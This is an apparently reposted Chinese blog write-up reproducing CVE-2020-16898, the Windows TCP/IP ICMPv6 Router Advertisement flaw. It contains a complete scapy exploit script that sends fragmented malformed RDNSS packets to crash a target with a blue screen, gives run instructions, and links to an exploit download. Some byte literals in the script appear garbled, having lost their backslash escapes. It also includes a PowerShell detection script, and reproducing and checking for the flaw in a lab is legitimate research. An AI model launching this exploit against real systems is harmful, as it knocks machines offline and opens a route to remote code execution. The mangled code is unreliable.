zoukankan      html  css  js  c++  java
  • 【复现】CVE-2020-16898 TCP/IP远程代码执行漏洞

    EXP/POC看文末

    简述:

    CVE-2020-16898,又称“Bad Neighbor”

    Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。

    漏洞描述

    当 Windows TCP/IP 堆栈不正确地处理使用 Option Type 25(Recursive DNS Server Option)和长度字段值为偶数的 ICMPv6路由器广告包时,存在远程代码执行漏洞。在此选项中,长度以8字节的增量计算,因此长度为3的 RDNSS 选项的总长度应该为24字节。该选项本身包含五个字段: IPv6递归 DNS 服务器的类型、长度、保留、生存期和地址。前四个字段总共是8字节,但是最后一个字段可以包含不同数量的 IPv6地址,每个地址16字节。因此,根据 RFC 8106,长度字段应该始终是一个至少为3的奇数值

    具体可看:原理简述

    受影响版本

    • Windows 10 Version 1709 for 32-bit Systems
    • Windows 10 Version 1709 for ARM64-based Systems
    • Windows 10 Version 1709 for x64-based Systems
    • Windows 10 Version 1803 for 32-bit Systems
    • Windows 10 Version 1803 for ARM64-based Systems
    • Windows 10 Version 1803 for x64-based Systems
    • Windows 10 Version 1809 for 32-bit Systems
    • Windows 10 Version 1809 for ARM64-based Systems
    • Windows 10 Version 1809 for x64-based Systems
    • Windows 10 Version 1903 for 32-bit Systems
    • Windows 10 Version 1903 for ARM64-based Systems
    • Windows 10 Version 1903 for x64-based Systems
    • Windows 10 Version 1909 for 32-bit Systems
    • Windows 10 Version 1909 for ARM64-based Systems
    • Windows 10 Version 1909 for x64-based Systems
    • Windows 10 Version 2004 for 32-bit Systems
    • Windows 10 Version 2004 for ARM64-based Systems
    • Windows 10 Version 2004 for x64-based Systems
    • Windows Server 2019
    • Windows Server 2019 (Server Core installation)
    • Windows Server, version 1903 (Server Core installation)
    • Windows Server, version 1909 (Server Core installation)
    • Windows Server, version 2004 (Server Core installation)

    一.环境

    网络环境开启ipv6支持。这里使用vmware,NAT出一个子网,并开启ipv6支持。

    选取一个受影响版本的windows10镜像,安装在虚拟机里。

    打开IPv6地址。

    二、利用思路

    1.利用条件

    1. 基本条件
      • attacker需要获取target的IPv6和MAC地址
    2. 触发过程
      • attacker需要搭配其他内存泄漏或信息泄漏漏洞来实现RCE
      • attacker需要想办法绕过tcpip.sys的GS保护机制

    2. 利用过程

    attacker直接发送特制的ICMPv6路由广播数据包给target:

    [ Attacker ] <``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``> [ Target ]
    

    3. 攻击向量

    建立连接后,利用IPv6直接发送攻击数据包即可。

    三、复现

    exp-1

    1.执行ipconfig,查看IPv6地址:

    2.注意:受害机器的 IPv6地址选取“ipv6地址”或者“临时ipv6地址”

    3.攻击者和目标主机通信

    执行ipconfig查看攻击机的ipv6地址,选择“本地链接的ipv6地址”。

    4.攻击机中python为3.7+ ,并且安装了scapy

    5.漏洞利用

    这段payload作用是构造特定ipv6数据包,发送给受害者机器,让受害机器蓝屏。

    CVE-2020-16898-exp1.py:

    from scapy.all import *
    from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
     
    v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103"	#根据上面的修改为目标机的ipv6地址 或者 临时ipv6地址
    v6_src = "fe80::501a:49b7:b7d:5362%12"				#攻击者的本地ipv6地址
     
    p_test_half = 'A'.encode()*8 + b"x18x30" + b"xFFx18"
    p_test = p_test_half + 'A'.encode()*4
     
    c = ICMPv6NDOptEFA()
     
    e = ICMPv6NDOptRDNSS()
    e.len = 21
    e.dns = [
    "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
    "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
    aaa = ICMPv6NDOptRDNSS()
    aaa.len = 8
    pkt = ICMPv6ND_RA() / aaa / 
          Raw(load='A'.encode()*16*2 + p_test_half + b"x18xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
     
    p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ 
                  IPv6ExtHdrFragment()/pkt
     
    l=fragment6(p_test_frag, 200)
     
    for p in l:
        send(p)
    

    执行:

    python3 CVE-2020-16898-exp1.py
    

    执行这个脚本,可以看到虚拟机被打蓝屏了。如下:

    可以wirkshark选择对应的虚拟网卡进行抓包查看

    大概如下(我的wirkshark有点问题,套用大佬的截图):

    目测红框下的Router Advertisement是最核心的包,

    exp-2

    条件:能和目标通信,知道目标的本地链接IPv6地址

    使用

    修改代码中的dst参数为目标的本地链接IPv6地址
    然后攻击机执行
    python3 CVE-2020-16898-exp2.py即可
    

    四、poc检测

    在github上找了个powershell脚本,可以检测windows10是否存在这个漏洞,大体看了下是基于版本和配置检测的,用powershell获取配置,如果开启了 基于RA的DNS配置(RFC6106),并且win10发行版本大于1707,就存在这个漏洞。

    Clear
    
    $interfaces = (Get-NetIPInterface | where {$_.AddressFamily -eq "IPv6"}).ifIndex
    foreach ($interface in $interfaces)
    {
        [bool]$vuln = $false
        $output = netsh int ipv6 sh interfaces interface=$interface
        foreach ($Line in $output)
        {
            if($Line.Contains("6106") -and $Line.Contains("enabled"))
            {
                [bool]$vuln = $true
            }
        }
        $NetIPInterfaceAlias = ((Get-NetIPAddress -InterfaceIndex $interface | Select-Object InterfaceAlias)[0]).InterfaceAlias
        if ($vuln)
        {
            Write-Host "Interface '$($interface)' named '$($NetIPInterfaceAlias)' is Vulnerable to CVE-2020-16898 & CVE-2020-16899" -ForegroundColor Red
        }
        else
        {
            Write-Host "Interface '$($interface)' named '$($NetIPInterfaceAlias)' is Not Vulnerable to CVE-2020-16898 & CVE-2020-16899" -ForegroundColor Green
        }
    }
    

    执行:

     > Powershell.exe -ExecutionPolicy UnRestricted -File .CVE-2020-16898-poc.ps1
    

    五、修复

    https://zhuanlan.zhihu.com/p/265755647

    https://bbs.pediy.com/thread-262707.htm#msg_header_h3_10

    EXP&POC下载及使用方法:https://github.com/komomon/CVE-2020-16898--EXP-POC

    参考:https://blog.csdn.net/hsj_csdn/article/details/109138162

  • 相关阅读:
    python中的unlink
    if
    python中if __name__ == '__main__'
    rename函数
    win2003的密钥
    url
    python中的os.stat
    python中的mysql
    防火墙
    网址
  • 原文地址:https://www.cnblogs.com/forforever/p/13846077.html
Copyright © 2011-2022 走看看